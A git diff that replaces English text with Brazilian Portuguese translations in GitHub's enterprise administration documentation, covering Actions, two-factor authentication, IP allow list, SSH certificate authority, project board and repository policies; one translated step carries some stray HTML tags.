    {%- ifversion ghes > 3.0 or ghae-issue-5094 %}
-   ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
+   ![Adicionar ações para permitir lista](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
    {%- elsif ghae %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
+   ![Adicionar ações para permitir lista](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
    {%- endif %}
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
 
-## Enforcing a policy for artifact and log retention in your enterprise
+## Aplicando uma política de artefato e registrando a retenção na sua empresa
 
-{% data variables.product.prodname_actions %} can store artifact and log files. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)."
+{% data variables.product.prodname_actions %} pode armazenar artefatos e arquivos de registro. Para obter mais informações, consulte "[Fazendo o download dos artefatos de fluxo de trabalho](/actions/managing-workflow-runs/downloading-workflow-artifacts)".
 
 {% data reusables.actions.about-artifact-log-retention %}
 
@@ -75,13 +75,13 @@ You can choose to disable {% data variables.product.prodname_actions %} for all
 
 {% endif %}
 
-## Enforcing a policy for fork pull requests in your enterprise
+## Aplicando uma política para bifurcar pull requests na sua empresa
 
-You can enforce policies to control how {% data variables.product.prodname_actions %} behaves for {% data variables.product.product_location %} when members of your enterprise{% ifversion ghec %} or outside collaborators{% endif %} run workflows from forks.
+Você pode aplicar políticas para controlar como {% data variables.product.prodname_actions %} comporta-se para {% data variables.product.product_location %} quando os integrantes da sua empresa{% ifversion ghec %} ou colaboradores externos{% endif %} executarem fluxos de trabalho a partir das bifurcações.
 
 {% ifversion ghec %}
 
-### Enforcing a policy for approval of pull requests from outside collaborators
+### Aplicando uma política de aprovação de pull requests dos colaboradores externos
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
@@ -96,7 +96,7 @@ You can enforce policies to control how {% data variables.product.prodname_actio
 
 {% ifversion ghec or ghes or ghae %}
 
-### Enforcing a policy for fork pull requests in private repositories
+### Aplicando uma política para bifurcar pull requests em repositórios privados
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
@@ -109,19 +109,20 @@ You can enforce policies to control how {% data variables.product.prodname_actio
 
 {% ifversion ghec or ghes > 3.1 or ghae %}
 
-## Enforcing a policy for workflow permissions in your enterprise
+## Aplicando uma política de permissões de fluxo de trabalho na sua empresa
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose the restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings.
+Você pode definir as permissões padrão para o `GITHUB_TOKEN` nas configurações para sua empresa, organizações ou repositórios. Se você escolher a opção restrita como padrão nas configurações da empresa, isto impedirá que a configuração mais permissiva seja escolhida nas configurações da organização ou repositório.
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
-1. Click **Save** to apply the settings.
+1. Em **permissões do fluxo de trabalho**, escolha se você quer que o `GITHUB_TOKEN` tenha acesso de leitura e gravação para todos os escopos, ou apenas acesso de leitura para o escopo do </code>conteúdo.
+<img src="/assets/images/help/settings/actions-workflow-permissions-enterprise.png" alt="Definir permissões do GITHUB_TOKEN para esta empresa" /></p></li>
+<li><p spaces-before="0">Clique em <strong x-id="1">Salvar</strong> para aplicar as configurações.</p></li>
+</ol>
 
-{% endif %}
+<p spaces-before="0">{% endif %}</p>
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
index 580c1dcf78..806b10af2e 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing policies for security settings in your enterprise
-intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicando políticas para configurações de segurança na sua empresa
+intro: É possível impor políticas para gerenciar as configurações de segurança nas organizações da sua empresa ou permitir que as políticas sejam definidas em cada organização.
 permissions: Enterprise owners can enforce policies for security settings in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/enforcing-security-settings-for-organizations-in-your-business-account
@@ -21,64 +20,62 @@ topics:
   - Enterprise
   - Policies
   - Security
-shortTitle: Policies for security settings
+shortTitle: Políticas de configurações de segurança
 ---
 
-## About policies for security settings in your enterprise
+## Sobre políticas para configurações de segurança na sua empresa
 
-You can enforce policies to control the security settings for organizations owned by your enterprise on {% data variables.product.product_name %}. By default, organization owners can manage security settings. For more information, see "[Keeping your organization secure](/organizations/keeping-your-organization-secure)."
+É possível aplicar políticas para controlar as configurações de segurança das organizações pertencentes à sua empresa em {% data variables.product.product_name %}. Por padrão, os proprietários da organização podem gerenciar as configurações de segurança. Para obter mais informações, consulte "[Mantendo sua organização segura](/organizations/keeping-your-organization-secure)".
 
 {% ifversion ghec or ghes %}
 
-## Requiring two-factor authentication for organizations in your enterprise
+## Exigir autenticação de dois fatores para organizações na sua empresa
 
-Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their personal accounts.
+Os proprietários corporativos podem exigir que integrantes da organização, gerentes de cobrança e colaboradores externos em todas as organizações pertencentes a uma empresa usem autenticação de dois fatores para proteger suas contas pessoais.
 
-Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)."
+Antes de poder exigir a autenticação 2FA para todas as organizações pertencentes à sua empresa, você deve habilitar a autenticação de dois fatores para a sua própria conta. Para obter mais informações, consulte "[Proteger sua conta com autenticação de dois fatores (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)".
 
 {% warning %}
 
-**Warnings:**
+**Avisos:**
 
-- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their personal account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
-- Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their personal account after you've enabled required two-factor authentication will automatically be removed from the organization.
-- If you're the sole owner of a enterprise that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the enterprise.
+- Se você exigir autenticação de dois fatores para a sua empresa, os integrantes, colaboradores externos e gerentes de cobrança (incluindo contas bot) em todas as organizações pertencentes à sua empresa que não utilizem 2FA serão removidos da organização e perderão acesso aos repositórios dela. Eles também perderão acesso às bifurcações dos repositórios privados da organização. Se a autenticação de dois fatores for habilitada para a conta pessoal deles em até três meses após a remoção da organização, será possível restabelecer as configurações e os privilégios de acesso deles. Para obter mais informações, consulte "[Restabelecer ex-integrantes da organização](/articles/reinstating-a-former-member-of-your-organization)".
+- Qualquer proprietário da organização, integrante, gerente de cobrança ou colaborador externo em qualquer das organizações pertencentes à sua empresa que desabilite a 2FA para a conta pessoal dele depois que você tiver habilitado a autenticação de dois fatores obrigatória será removido automaticamente da organização.
+- Se você for o único proprietário de uma empresa que exige autenticação de dois fatores, não poderá desabilitar 2FA para sua conta pessoal sem desabilitar a autenticação de dois fatores obrigatória para a empresa.
 
 {% endwarning %}
 
-Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+Antes de exigir o uso da autenticação de dois fatores, é recomendável notificar os integrantes da organização, colaboradores externos e gerentes de cobrança e pedir que eles configurem 2FA nas contas deles. Os proprietários da organização podem ver se integrantes e colaboradores externos já utilizam 2FA na página People (Pessoas) de cada organização. Para obter mais informações, consulte "[Ver se os usuários na organização têm a 2FA habilitada](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**.
-  ![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png)
-6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**.
-  ![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png)
-7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation.
+4. Em "Two-factor authentication" (Autenticação de dois fatores), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Two-factor authentication" (Autenticação de dois fatores), selecione **Require two-factor authentication for all organizations in your business** (Exigir autenticação de dois fatores para todas as organizações na empresa) e clique em **Save** (Salvar). ![Caixa de seleção para exigir autenticação de dois fatores](/assets/images/help/business-accounts/require-2fa-checkbox.png)
+6. Se solicitado, leia as informações sobre os integrantes e colaboradores externos que serão removidos das organizações pertencentes à sua empresa. Para confirmar a alteração, digite o nome da sua empresa e clique em **Remover integrantes& exigir autenticação de dois fatores**. ![Caixa Confirm two-factor enforcement (Confirmar exigência de dois fatores)](/assets/images/help/business-accounts/confirm-require-2fa.png)
+7. Como alternativa, se algum integrante ou colaborador externo for removido das organizações pertencentes à sua empresa, recomendamos enviar um convite para restabelecer os privilégios e o acesso à organização que ele tinha anteriormente. Cada pessoa precisa habilitar a autenticação de dois fatores para poder aceitar o convite.
 
 {% endif %}
 
 {% ifversion ghec or ghae %}
 
-## Managing allowed IP addresses for organizations in your enterprise
+## Gerenciar endereços IP permitidos para organizações na sua empresa
 
 {% ifversion ghae %}
 
-You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+Você pode restringir o tráfego de rede para a sua empresa em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Restringir tráfego de rede para a sua empresa](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)".
 
 {% elsif ghec %}
 
-Enterprise owners can restrict access to assets owned by organizations in an enterprise by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+Os proprietários de empresas podem restringir o acesso a ativos pertencentes a organizações em uma empresa, configurando uma lista de permissão de endereços IP específicos. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+Você também pode configurar endereços IP permitidos para uma organização individual. Para obter mais informações, consulte "[Gerenciar endereços IP permitidos para a sua organização](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)".
 
-### Adding an allowed IP address
+### Adicionar endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -87,20 +84,19 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-### Allowing access by {% data variables.product.prodname_github_apps %}
+### Permitindo acesso de {% data variables.product.prodname_github_apps %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-### Enabling allowed IP addresses
+### Habilitar endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-3. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+3. Em "IP allow list" (Lista de permissões IP), selecione **Enable IP allow list** (Habilitar lista de permissões IP). ![Caixa de seleção para permitir endereços IP](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. Clique em **Salvar**.
 
-### Editing an allowed IP address
+### Editar endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -108,9 +104,9 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. Clique em **Atualizar**.
 
-### Deleting an allowed IP address
+### Excluir endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -118,7 +114,7 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-### Using {% data variables.product.prodname_actions %} with an IP allow list
+### Usar {% data variables.product.prodname_actions %} com uma lista endereços IP permitidos
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
 
@@ -126,11 +122,11 @@ You can also configure allowed IP addresses for an individual organization. For
 
 {% endif %}
 
-## Managing SSH certificate authorities for your enterprise
+## Gerenciando as autoridades de certificados de SSH da sua empresa
 
-You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
+Você pode usar as autoridades de certificados SSH (CA) para permitir que os integrantes de qualquer organização pertencente à sua empresa acessem os repositórios da organização usando certificados SSH que você fornecer. {% data reusables.organizations.can-require-ssh-cert %} Para obter mais informações, consulte "[Sobre autoridades certificadas de SSH](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)".
 
-### Adding an SSH certificate authority
+### Adicionar uma autoridade certificada de SSH
 
 {% data reusables.organizations.add-extension-to-cert %}
 
@@ -140,9 +136,9 @@ You can use a SSH certificate authorities (CA) to allow members of any organizat
 {% data reusables.organizations.new-ssh-ca %}
 {% data reusables.organizations.require-ssh-cert %}
 
-### Deleting an SSH certificate authority
+### Excluir uma autoridade certificada de SSH
 
-Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again.
+A exclusão de uma CA não pode ser desfeita. Se você quiser usar a mesma CA no futuro, precisará fazer upload dela novamente.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -151,8 +147,8 @@ Deleting a CA cannot be undone. If you want to use the same CA in the future, yo
 
 {% ifversion ghec or ghae %}
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"
+- "[Sobre a identidade e gerenciamento de acesso para a sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"
 
 {% endif %}
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
index 251c60ac98..a461191b38 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing project board policies in your enterprise
-intro: 'You can enforce policies for projects within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicando políticas de quadros de projeto na sua empresa
+intro: É possível aplicar políticas para projetos nas organizações da sua empresa ou permitir que as políticas sejam definidas em cada organização.
 permissions: Enterprise owners can enforce policies for project boards in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account
   - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account
@@ -19,31 +18,29 @@ topics:
   - Enterprise
   - Policies
   - Projects
-shortTitle: Project board policies
+shortTitle: Políticas do quadro de projetos
 ---
 
-## About policies for project boards in your enterprise
+## Sobre políticas para quadros de projetos na sua empresa
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+Você pode aplicar políticas para controlar como os integrantes da sua empresa em {% data variables.product.product_name %} gerenciam os quadros de projeto. Você também pode permitir que proprietários da organização gerenciem as políticas para os quadros de projeto. Para obter mais informações, consulte "[Sobre quadros de projeto](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)".
 
-## Enforcing a policy for organization-wide project boards
+## Aplicar política para quadros de projeto de toda a organização
 
-Across all organizations owned by your enterprise, you can enable or disable organization-wide project boards, or allow owners to administer the setting on the organization level.
+Em todas as organizações pertencentes à sua empresa, é possível habilitar ou desabilitar quadros de projeto em toda a organização ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Organization projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization project board policy options](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
+4. Em "Organization projects" (Projetos da organização), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Organization projects" (Projetos da organização), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas de quadros de projeto da organização](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
 
-## Enforcing a policy for repository project boards
+## Aplicar política para quadros de projeto de repositório
 
-Across all organizations owned by your enterprise, you can enable or disable repository-level project boards, or allow owners to administer the setting on the organization level.
+Em todas as organizações pertencentes à sua empresa, é possível habilitar ou desabilitar quadros de projeto no nível de repositório ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Repository projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Repository projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository project board policy options](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
+4. Em "Repository projects" (Projetos de repositório), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Repository projects" (Projetos de repositório), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas de quadros de projeto de repositório](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
index be790e0250..07627eebec 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing repository management policies in your enterprise
-intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicar as políticas de gerenciamento do repositório na sua empresa
+intro: É possível aplicar políticas de gerenciamento de repositórios nas organizações de sua empresa ou permitir que as políticas sejam definidas em cada organização.
 permissions: Enterprise owners can enforce policies for repository management in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance
   - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility
@@ -44,20 +43,20 @@ topics:
   - Policies
   - Repositories
   - Security
-shortTitle: Repository management policies
+shortTitle: Políticas de gerenciamento do repositório
 ---
 
-## About policies for repository management in your enterprise
+## Sobre políticas para gerenciamento de repositório na sua empresa
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage repositories. You can also allow organization owners to manage policies for repository management. For more information, see "[Creating and managing repositories](/repositories/creating-and-managing-repositories) and "[Organizations and teams](/organizations)."
+Você pode aplicar políticas para controlar como os integrantes da sua empresa em {% data variables.product.product_name %} gerenciam os repositórios. Você também pode permitir que os proprietários da organização gerenciem as políticas para o gerenciamento do repositório. Para obter mais informações, consulte "[Criar e gerenciar repositórios](/repositories/creating-and-managing-repositories) e "[Organizações e equipes](/organizations)".
 
 {% ifversion ghes or ghae %}
 
-## Configuring the default visibility of new repositories
+## Configurar a visibilidade padrão de novos repositórios
 
-Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Toda vez que alguém criar um novo repositório na sua empresa, essa pessoa deverá escolher uma visibilidade para o repositório. Ao configurar uma configuração padrão de visibilidade para a empresa, você escolhe qual visibilidade será selecionada por padrão. Para obter mais informações sobre a visibilidade do repositório, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+Se um proprietário corporativo impedir que os integrantes criem certos tipos de repositórios, os integrantes não serão capazes de criar esse tipo de repositório, mesmo se a configuração de visibilidade for o padrão para esse tipo. Para obter mais informações, consulte "[Definir uma política para a criação de repositórios](#setting-a-policy-for-repository-creation)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -66,142 +65,133 @@ If an enterprise owner disallows members from creating certain types of reposito
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Default repository visibility", use the drop-down menu and select a default visibility.
-  ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
+1. Em "Default repository visibility" (Visibilidade padrão do repositório), clique no menu suspenso e selecione uma visibilidade padrão.![Menu suspenso para escolher a visibilidade padrão do repositório para a sua empresa](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
 {% endif %}
 
-## Enforcing a policy for {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permissions
+## Aplicar uma política de {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}permissões padrão{% endif %} do repositório
 
-Across all organizations owned by your enterprise, you can set a {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level.
+Em todas as organizações pertencentes à sua empresa, você pode definir um {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}padrão{% endif %} nível de permissão de repositório (nenhum leitura, gravação ou administrador) para integrantes da organização, ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-4. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy.
+4. Em "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissões", revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Padrão{% endif %} permissões", use o menu suspenso e escolha uma política.
   {% ifversion ghec or ghes > 3.1 or ghae %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
+  ![Menu suspenso com opções de políticas de permissões de repositório](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
   {% else %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)  
+  ![Menu suspenso com opções de políticas de permissões de repositório](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)
   {% endif %}
 
-## Enforcing a policy for repository creation
+## Aplicando uma política para a criação do repositório
 
-Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. If you allow members to create repositories, you can choose whether members can create any combination of public, private, and internal repositories. {% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)."
+Em todas as organizações pertencentes à sua empresa, é possível permitir que os integrantes criem repositórios, restringir a criação de repositórios a proprietários da organização ou permitir que os proprietários administrem a configuração no nível da organização. Caso você permita que os integrantes criem repositórios, escolha se eles poderão criar qualquer combinação de repositórios internos, privados e públicos. O {% data reusables.repositories.internal-repo-default %} Para obter mais informações sobre repositórios internos, consulte "[Criar um repositório interno](/articles/creating-an-internal-repository)".
 
 {% data reusables.organizations.repo-creation-constants %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Repository creation" (Criação de repositório), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.repo-creation-policy %}
 {% data reusables.enterprise-accounts.repo-creation-types %}
 {% else %}
-6. Under "Repository creation", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository creation policies](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
+6. Em "Repository creation" (Criação de repositórios), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas de criação de repositórios](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
 {% endif %}
 
-## Enforcing a policy for forking private or internal repositories
+## Aplicar uma política para a bifurcação de repositórios internos ou privados
 
-Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level.
+Em todas as organizações pertencentes à sua empresa, é possível permitir que pessoas com acesso a um repositório privado o bifurquem, nunca permitir a bifurcação de repositórios privados ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-3. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository forking", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
-  
-## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories
+3. Em "Bifurcação de repositório", revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. Em "Repository forking" (Bifurcação de repositórios), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas de bifurcação de repositórios](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
 
